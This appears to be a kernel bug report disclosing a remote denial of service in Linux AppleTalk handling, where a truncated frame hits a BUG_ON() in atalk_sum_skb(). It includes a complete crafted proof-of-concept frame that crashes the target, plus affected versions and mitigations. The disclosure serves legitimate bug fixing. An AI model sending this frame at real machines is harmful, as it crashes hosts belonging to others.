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When we receive an AppleTalk frame shorter than what its header says, we still attempt to verify its checksum, and trip on the BUG_ON() at the end of function atalk_sum_skb() because of the length mismatch. This has security implications because this can be triggered by simply sending a specially crafted ethernet frame to a target victim, effectively crashing that host. Thus this qualifies, I think, as a remote DoS. Here is the frame I used to trigger the crash, in npg format: <Appletalk Killer> { # Ethernet header ----- XX XX XX XX XX XX # Destination MAC 00 00 00 00 00 00 # Source MAC 00 1D # Length # LLC header ----- AA AA 03 08 00 07 80 9B # Appletalk # Appletalk header ----- 00 1B # Packet length (invalid) 00 01 # Fake checksum 00 00 00 00 # Destination and source networks 00 00 00 00 # Destination and source nodes and ports # Payload ----- 0C 0D 0E 0F 10 11 12 13 14 } The destination MAC address must be set to those of the victim.
The severity is mitigated by two requirements: * The target host must have the appletalk kernel module loaded. I suspect this isn't so frequent. * AppleTalk frames are non-IP, thus I guess they can only travel on local networks. I am no network expert though, maybe it is possible to somehow encapsulate AppleTalk packets over IP. The bug has been reported back in June 2004: http://bugzilla.kernel.org/show_bug.cgi?id=2979 But it wasn't investigated, and was closed in July 2006 as both reporters had vanished meanwhile. This code was new in kernel 2.6.0-test5: http://git.kernel.org/?p=linux/kernel/git/tglx/history.git;a=commitdiff;h=7ab442d7e0a76402c12553ee256f756097cae2d2 And not modified since then, so we can assume that vanilla kernels 2.6.0-test5 and later, and distribution kernels based thereon, are affected.
The AppleTalk support is not enabled in Red Hat Enterprise kernels.